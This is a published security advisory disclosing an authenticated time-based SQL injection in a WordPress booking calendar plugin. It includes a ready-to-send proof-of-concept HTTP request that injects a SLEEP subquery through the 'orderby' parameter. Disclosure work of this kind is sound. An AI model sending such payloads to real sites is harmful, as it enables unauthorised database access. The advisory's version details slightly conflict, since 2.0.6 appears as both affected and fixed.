Trustwave SpiderLabs Security Advisory TWSL2021-014:
Authenticated SQL Injection in WordPress Plugin WP Simple Booking Calendar

Published: 09/10/2021
Version: 1.1

Vendor: Veribo, Roland Murg (https://www.wpsimplebookingcalendar.com/)
Product: WordPress Plugin WP Simple Booking Calendar
Version affected:  <= 2.0.6 ( before 07/12/2021)

Product description:
The plugin provides calendar functionality including item availability by date.

Finding 1: Authenticated SQL Injection
*****Credit: Martin Vierula of Trustwave
CVE: CVE-2021-24726
CWE: CWE-89

In the 'Search Calendars' action, the 'orderby' parameter is vulnerable to authenticated (admin+) SQL injection.

The following PoC outlines a time-based version of exploiting the vulnerability in the 'orderby' parameter:

GET /wp/wp-admin/admin.php?page=wpsbc-calendars&paged=1&s=MyCal&orderby=name,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%286%29%29%29a%29&paged=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/admin.php?page=wpsbc-calendars
Connection: keep-alive
Cookie: <admin-cookies>
Upgrade-Insecure-Requests: 1

Change the number of seconds of SLEEP from '6' and observe the change in response time.

Note that the _wpnonce query argument that is included when submitting a search via the browser is not required to submit the above request.

Remediation Steps:
Upgrade the WordPress Plugin Simple Booking Calendar to version 2.0.6 (07/12/2021) or the latest stable version.

Revision History:
06/21/2021 - Disclosed finding to vendor
07/12/2021 - Vendor releases fix
08/06/2021 - Advisory verson 1.0 published
09/10/2021 - CVE assigned
09/10/2021 - Advisory version 1.1 published

References
1. https://wordpress.org/plugins/wp-simple-booking-calendar/#developers


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SpiderLabs(R) is the advanced security team at Trustwave focused on
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security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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